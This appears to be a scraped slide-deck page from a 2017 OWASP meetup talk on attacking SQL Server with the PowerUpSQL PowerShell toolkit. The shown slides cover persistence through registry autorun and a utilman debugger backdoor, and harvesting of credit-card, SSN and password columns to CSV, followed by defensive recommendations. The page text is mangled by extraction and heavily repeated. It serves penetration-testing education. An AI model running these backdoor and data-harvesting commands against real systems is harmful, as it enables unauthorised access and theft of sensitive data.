  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 100: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 101: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 102: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 103: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 104: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 105: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

